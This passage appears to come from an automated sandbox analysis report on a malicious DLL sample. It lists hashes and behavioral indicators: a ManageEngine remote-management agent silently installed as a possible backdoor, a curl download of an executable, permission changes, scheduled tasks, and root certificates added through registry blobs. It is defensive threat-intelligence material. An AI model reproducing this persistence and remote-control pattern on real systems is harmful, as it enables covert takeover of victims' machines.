Analysis
- max time kernel
114s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/10/2026, 10:55
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
6b68ed9377d59bb2aabc9d680b9f08806e31821073d144855ae44b1251c784f3.dll
Resource
win10v2004-20260911-en
windows10-2004-x64
28 signatures
150 seconds
General
- Target 6b68ed9377d59bb2aabc9d680b9f08806e31821073d144855ae44b1251c784f3.dll
- Size 5.6MB
- Sample261017-m1cvbassez
- SHA256 6b68ed9377d59bb2aabc9d680b9f08806e31821073d144855ae44b1251c784f3
- MD5 e5eebca69fa28211e137d7912924e165
- SHA1 846ba4a07e7f5d163752b5b5564bf4f22dffe0ab
- SHA512 d28fae8184d75571a57e56c7adfd8e4490d689d72300cbe7f105bc328b45ff7167af8a85ede88412414399988c7890b5f9d54a5440dd0c55e1763f9890c0d6f2
- SSDEEP 98304:AO7L2n0i7nc86NfS7tTKbdo6ClG9UeRPuH/yuK0OF:AO73PN676e+DU
- TLSH T19C46DF467AF840BAC4B6C172CA678AAFD3F274410D35DB1F42810A4A6F777619E1B336
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 4900 rundll32.exe 14 4900 rundll32.exe 15 1520 msiexec.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 10 5524 curl.exe - DCAgent remote management tool 2 IoCs
DCAgent is part of ManageEngine, a remote administration tool that can be used as a backdoor
resource yara_rule behavioral2/files/0x000c00000001c5ed-115.dat hacktool_dcagent behavioral2/files/0x000b00000001c61d-347.dat hacktool_dcagent - Executes dropped EXE 14 IoCs
pid Process 3748 CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe 3468 dcagentregister.exe 5224 UEMSAgentHealthChecker.exe 4768 UEMSAgentHCHelper.exe 4484 UEMSAgentHCHelper.exe 1796 UEMSAgentHCHelper.exe 412 7za.exe 2032 dcagentservice.exe 5176 7za.exe 428 dcpatchscan.exe 5512 dcstatusutil.exe 1432 dcinventory.exe 5592 dcagentservice.exe 6060 CRU_Reporter.exe - Loads dropped DLL 64 IoCs
pid Process 716 MsiExec.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 2032 dcagentservice.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 428 dcpatchscan.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 3468 dcagentregister.exe 428 dcpatchscan.exe 3468 dcagentregister.exe 428 dcpatchscan.exe 428 dcpatchscan.exe 5512 dcstatusutil.exe 5512 dcstatusutil.exe 5512 dcstatusutil.exe 5512 dcstatusutil.exe 5512 dcstatusutil.exe 5512 dcstatusutil.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 4164 icacls.exe 4240 icacls.exe 2860 icacls.exe 2868 icacls.exe 5704 icacls.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe - Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\system32\crcLiENT.Dll rundll32.exe File opened for modification C:\Windows\system32\rundll32.exe rundll32.exe File created C:\Windows\SysWOW64\dclibxml2.dll msiexec.exe File created C:\Windows\SysWOW64\dcagentlibxml2.dll msiexec.exe File opened for modification C:\Windows\SysWOW64\logs\devicepatchaccess.log dcagentregister.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 1680 WScript.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\pwd-show.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\swConfig.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe32.exe.config 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hot_mover_msghldr.gif 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\chat.png msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\Tools.vbs msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentservice.log dcagentservice.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\WakeOnLan.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcwol.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ToolsIQ.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\ChatFrame.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\SecuritySettings.json msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\vault\ME_UEMS\storage\client.pem dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagenttrayicon.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-inv.xml msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\close_top_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\sspicon.ico msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Remove.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\User.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12 dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcnacprocess.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctask64.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdsagentwindow.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmsghandler.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dctoolshardware.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb32.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\mdmregistrationhandler_64.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\NativeUIHandler.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\restore_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\me-sign.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\file_system_watcher.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\selfservicedll.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHcComHelper.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-database-settings.xml dcpatchscan.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log dcinventory.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\maximize_icon.svg msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\history_ico.png msiexec.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.zip 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rapchat.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rdsrunasuser.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSLogCollector.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSLogCollector.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\remind_hover.gif msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\rds\AgentHook.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandlerx64.dll msiexec.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcrdservice.exe 7za.exe File opened for modification C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHcComHelper.exe 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMS_Agent_CommonUtilDll.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\vmdrUtils.dll 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\vault\ME_UEMS\storage\agent-security-setting.json dcagentregister.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\rdsrunasuser.exe.config 7za.exe File created C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\topmiddle.bmp 7za.exe - Drops file in Windows directory 17 IoCs
description ioc Process File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{6AD2231F-FF48-4D59-AC26-405AFAE23DB7} msiexec.exe File created C:\Windows\SystemTemp\~DF29C64BF633206621.TMP msiexec.exe File created C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\e5aa76d.msi msiexec.exe File created C:\Windows\SystemTemp\~DF875C079EA7A6A065.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIB70E.tmp msiexec.exe File created C:\Windows\Installer\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\DCAgentServerInfo.json dcagentregister.exe File opened for modification C:\Windows\Installer\e5aa76d.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Tasks\DCAgentUpdater.job dcagentregister.exe File created C:\Windows\Installer\e5aa76e.mst msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Tasks\UEMSLogCollector.job dcagentregister.exe File opened for modification C:\Windows\Installer\e5aa76e.mst msiexec.exe File opened for modification C:\Windows\Installer\MSIB150.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 248 cmd.exe 4880 cmd.exe 2284 cmd.exe 1476 cmd.exe - Modifies trusted root certificate store through registry 1 TTPs 8 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C5A3D015B9A947CA8CACB64A155DF63ABC5EB1D0\Blob = 1900000001000000100000005e29f51493fc413b78ae4d5eb35d5a3d0f000000010000002000000014db476d8053fc459f0ab1d5c39a616de9ca4641ec7006b5d91abacaadbfb435030000000100000014000000c5a3d015b9a947ca8cacb64a155df63abc5eb1d014000000010000001400000002ca55c2b717abf27f0f68eea39ff4c18956c3ed2000000001000000d8030000308203d4308202bca003020102020851778cd2c40d8a98300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236313030353135323831355a180f32303531313030353135323831355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d7a34eb30c492a15af213070a5b637666b136ae2c4ee54073273b0d38918d1d088655ba4d7deaa2c47b811d069d3a124e3e0e02a5bc6d9a866537ef365ee1488ab4d4944d8ebed811ae0508d47bd976c36fe7528f9808a233c366104964bdb32dd0dbad4bdbc1e5b23143d1b56d7a87c5556855d44c489e4befc1ec5ea16b983d2d76df40992af9ee10b8aba73672e33bc3208d9c5a79628c7c640fdba9ff9be8dbdcd212830142e4ab6e668865a9c89649447ce4855668243f91498e8e3b57d890d17f45a3e69b380296ce9e6faeccaa6308a5d315ca8b071a96c5c64590a54dcd830af253221ec3095c7a789e18aa47e122a780c48a16a03ea92c40d13234d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041402ca55c2b717abf27f0f68eea39ff4c18956c3ed301f0603551d2304183016801402ca55c2b717abf27f0f68eea39ff4c18956c3ed300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100c7b974be40b30274dbe19950297fcad2aebd5eda85105154da2374c1544d7ed39a08703ef90449df6ae4dfc51b75b64f030e19c984b54e6ccaed5418da90ed8f89b7a0fbb2d6a88c3bc6d87f526d63f4a570f5d1311af726a82fdc9138421f5a447b2b5d4c724b844f0322a58007c28b11a0efba20e5b4a47a62682200cc428dff0b506aa1930f20786c11d6f48fdf49dae1e1e61f75c1dca68a5d48d44c7a39625a8f1f3177811188a0474e85244592cbca9f1afcce8abb0c29a3aa34aeaf3af0d97ba2c99833f81740dfe9c138746e9b6c1e4afa1f34a366178d327a8900d008e996d5f5ad594feb0bcaedd1806c328466ba3d2e9ab0f00ebeb5b36c1273d6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\83B91F65DE2E3CBB0E6105F8EE42FE21582368D7\Blob = 1900000001000000100000005741c9437603732a4fcd5743968983550f000000010000002000000045c05aa4045bb9dbdd33e51eb144cbed78daed15634495a7f231e02c6f54e04603000000010000001400000083b91f65de2e3cbb0e6105f8ee42fe21582368d714000000010000001400000059da61d24511946b6344785f6fed867d1c926a802000000001000000f0030000308203ec308202d4a00302010202084b7bb802d958a869300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236313030353135323831365a180f32303531313030353135323831365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a02820101009b0bd3e5b509fa5983de5a3d79b2bcc9047227746ba21936092e9edaed558b8d9189020b2f20a3c3707651fb00a1a1036d6f94410b59592c372931516b6e2a36ac286f7d35720296e1638686a545fe3874bdd982b3458034ee9e70dbbf2e2a4e079a3a54a765b6766e943c8473c680277b6ee88b0c9984297c566202f6944e4f4ccd4973d9ef743cd7090de1b0bd262f7e262443934c5cb9c678c89a72112382acfe37751895986c85fe0197f8e3af62f80769ce0fa5a1501436b08fb112216d2890d8a3ed9dcf83ca59dfc06f2dadb81f25b01f808298e3dafea5de2323055cfa90c1b487d35d3d1df909c7af0c8c9e80148a83519b7345f83a2f96948b85cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041459da61d24511946b6344785f6fed867d1c926a80301f0603551d2304183016801459da61d24511946b6344785f6fed867d1c926a80300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100038d009fa46d330d9b2284306989c5d35789ebaa02b9e00d91d6a66d20370c4e5f944c6d8b5381ec7b1fc376d3c00700387f57f5cbbbcf494ab1519e089e6b6a477d9af8ac12d144e9eb9c965f4b60c80a2cdc5a760a7c7bd00fd037f5972066e7df84b1dbc7de54f8ccdba222d934b18eeb97d960915e9cc11a3a8ef9419675959bc849d92121d32448266fa9693bcb772c4bc4f37bc70df8969d3c68939a2950f2e9d980509e019017aeb966a4c2d669f0e54e1a52a9bc1b36823809344955e668ae8da72a02a0bdf0bf2c85d08a72b4ee92a45d0e04d0399f46661a604d292592990dc7ea9e29c4e695345f57dde89f72f671002941d1bc5dafd87e3f5ede dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C5A3D015B9A947CA8CACB64A155DF63ABC5EB1D0\Blob = 030000000100000014000000c5a3d015b9a947ca8cacb64a155df63abc5eb1d02000000001000000d8030000308203d4308202bca003020102020851778cd2c40d8a98300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236313030353135323831355a180f32303531313030353135323831355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d7a34eb30c492a15af213070a5b637666b136ae2c4ee54073273b0d38918d1d088655ba4d7deaa2c47b811d069d3a124e3e0e02a5bc6d9a866537ef365ee1488ab4d4944d8ebed811ae0508d47bd976c36fe7528f9808a233c366104964bdb32dd0dbad4bdbc1e5b23143d1b56d7a87c5556855d44c489e4befc1ec5ea16b983d2d76df40992af9ee10b8aba73672e33bc3208d9c5a79628c7c640fdba9ff9be8dbdcd212830142e4ab6e668865a9c89649447ce4855668243f91498e8e3b57d890d17f45a3e69b380296ce9e6faeccaa6308a5d315ca8b071a96c5c64590a54dcd830af253221ec3095c7a789e18aa47e122a780c48a16a03ea92c40d13234d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041402ca55c2b717abf27f0f68eea39ff4c18956c3ed301f0603551d2304183016801402ca55c2b717abf27f0f68eea39ff4c18956c3ed300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100c7b974be40b30274dbe19950297fcad2aebd5eda85105154da2374c1544d7ed39a08703ef90449df6ae4dfc51b75b64f030e19c984b54e6ccaed5418da90ed8f89b7a0fbb2d6a88c3bc6d87f526d63f4a570f5d1311af726a82fdc9138421f5a447b2b5d4c724b844f0322a58007c28b11a0efba20e5b4a47a62682200cc428dff0b506aa1930f20786c11d6f48fdf49dae1e1e61f75c1dca68a5d48d44c7a39625a8f1f3177811188a0474e85244592cbca9f1afcce8abb0c29a3aa34aeaf3af0d97ba2c99833f81740dfe9c138746e9b6c1e4afa1f34a366178d327a8900d008e996d5f5ad594feb0bcaedd1806c328466ba3d2e9ab0f00ebeb5b36c1273d6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\83B91F65DE2E3CBB0E6105F8EE42FE21582368D7\Blob = 03000000010000001400000083b91f65de2e3cbb0e6105f8ee42fe21582368d72000000001000000f0030000308203ec308202d4a00302010202084b7bb802d958a869300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236313030353135323831365a180f32303531313030353135323831365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a02820101009b0bd3e5b509fa5983de5a3d79b2bcc9047227746ba21936092e9edaed558b8d9189020b2f20a3c3707651fb00a1a1036d6f94410b59592c372931516b6e2a36ac286f7d35720296e1638686a545fe3874bdd982b3458034ee9e70dbbf2e2a4e079a3a54a765b6766e943c8473c680277b6ee88b0c9984297c566202f6944e4f4ccd4973d9ef743cd7090de1b0bd262f7e262443934c5cb9c678c89a72112382acfe37751895986c85fe0197f8e3af62f80769ce0fa5a1501436b08fb112216d2890d8a3ed9dcf83ca59dfc06f2dadb81f25b01f808298e3dafea5de2323055cfa90c1b487d35d3d1df909c7af0c8c9e80148a83519b7345f83a2f96948b85cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041459da61d24511946b6344785f6fed867d1c926a80301f0603551d2304183016801459da61d24511946b6344785f6fed867d1c926a80300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100038d009fa46d330d9b2284306989c5d35789ebaa02b9e00d91d6a66d20370c4e5f944c6d8b5381ec7b1fc376d3c00700387f57f5cbbbcf494ab1519e089e6b6a477d9af8ac12d144e9eb9c965f4b60c80a2cdc5a760a7c7bd00fd037f5972066e7df84b1dbc7de54f8ccdba222d934b18eeb97d960915e9cc11a3a8ef9419675959bc849d92121d32448266fa9693bcb772c4bc4f37bc70df8969d3c68939a2950f2e9d980509e019017aeb966a4c2d669f0e54e1a52a9bc1b36823809344955e668ae8da72a02a0bdf0bf2c85d08a72b4ee92a45d0e04d0399f46661a604d292592990dc7ea9e29c4e695345f57dde89f72f671002941d1bc5dafd87e3f5ede dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\C5A3D015B9A947CA8CACB64A155DF63ABC5EB1D0\Blob = 0f000000010000002000000014db476d8053fc459f0ab1d5c39a616de9ca4641ec7006b5d91abacaadbfb435030000000100000014000000c5a3d015b9a947ca8cacb64a155df63abc5eb1d02000000001000000d8030000308203d4308202bca003020102020851778cd2c40d8a98300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236313030353135323831355a180f32303531313030353135323831355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d7a34eb30c492a15af213070a5b637666b136ae2c4ee54073273b0d38918d1d088655ba4d7deaa2c47b811d069d3a124e3e0e02a5bc6d9a866537ef365ee1488ab4d4944d8ebed811ae0508d47bd976c36fe7528f9808a233c366104964bdb32dd0dbad4bdbc1e5b23143d1b56d7a87c5556855d44c489e4befc1ec5ea16b983d2d76df40992af9ee10b8aba73672e33bc3208d9c5a79628c7c640fdba9ff9be8dbdcd212830142e4ab6e668865a9c89649447ce4855668243f91498e8e3b57d890d17f45a3e69b380296ce9e6faeccaa6308a5d315ca8b071a96c5c64590a54dcd830af253221ec3095c7a789e18aa47e122a780c48a16a03ea92c40d13234d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041402ca55c2b717abf27f0f68eea39ff4c18956c3ed301f0603551d2304183016801402ca55c2b717abf27f0f68eea39ff4c18956c3ed300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100c7b974be40b30274dbe19950297fcad2aebd5eda85105154da2374c1544d7ed39a08703ef90449df6ae4dfc51b75b64f030e19c984b54e6ccaed5418da90ed8f89b7a0fbb2d6a88c3bc6d87f526d63f4a570f5d1311af726a82fdc9138421f5a447b2b5d4c724b844f0322a58007c28b11a0efba20e5b4a47a62682200cc428dff0b506aa1930f20786c11d6f48fdf49dae1e1e61f75c1dca68a5d48d44c7a39625a8f1f3177811188a0474e85244592cbca9f1afcce8abb0c29a3aa34aeaf3af0d97ba2c99833f81740dfe9c138746e9b6c1e4afa1f34a366178d327a8900d008e996d5f5ad594feb0bcaedd1806c328466ba3d2e9ab0f00ebeb5b36c1273d6 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\83B91F65DE2E3CBB0E6105F8EE42FE21582368D7\Blob = 0f000000010000002000000045c05aa4045bb9dbdd33e51eb144cbed78daed15634495a7f231e02c6f54e04603000000010000001400000083b91f65de2e3cbb0e6105f8ee42fe21582368d72000000001000000f0030000308203ec308202d4a00302010202084b7bb802d958a869300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236313030353135323831365a180f32303531313030353135323831365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a02820101009b0bd3e5b509fa5983de5a3d79b2bcc9047227746ba21936092e9edaed558b8d9189020b2f20a3c3707651fb00a1a1036d6f94410b59592c372931516b6e2a36ac286f7d35720296e1638686a545fe3874bdd982b3458034ee9e70dbbf2e2a4e079a3a54a765b6766e943c8473c680277b6ee88b0c9984297c566202f6944e4f4ccd4973d9ef743cd7090de1b0bd262f7e262443934c5cb9c678c89a72112382acfe37751895986c85fe0197f8e3af62f80769ce0fa5a1501436b08fb112216d2890d8a3ed9dcf83ca59dfc06f2dadb81f25b01f808298e3dafea5de2323055cfa90c1b487d35d3d1df909c7af0c8c9e80148a83519b7345f83a2f96948b85cf0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041459da61d24511946b6344785f6fed867d1c926a80301f0603551d2304183016801459da61d24511946b6344785f6fed867d1c926a80300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100038d009fa46d330d9b2284306989c5d35789ebaa02b9e00d91d6a66d20370c4e5f944c6d8b5381ec7b1fc376d3c00700387f57f5cbbbcf494ab1519e089e6b6a477d9af8ac12d144e9eb9c965f4b60c80a2cdc5a760a7c7bd00fd037f5972066e7df84b1dbc7de54f8ccdba222d934b18eeb97d960915e9cc11a3a8ef9419675959bc849d92121d32448266fa9693bcb772c4bc4f37bc70df8969d3c68939a2950f2e9d980509e019017aeb966a4c2d669f0e54e1a52a9bc1b36823809344955e668ae8da72a02a0bdf0bf2c85d08a72b4ee92a45d0e04d0399f46661a604d292592990dc7ea9e29c4e695345f57dde89f72f671002941d1bc5dafd87e3f5ede dcagentregister.exe Set value (data) 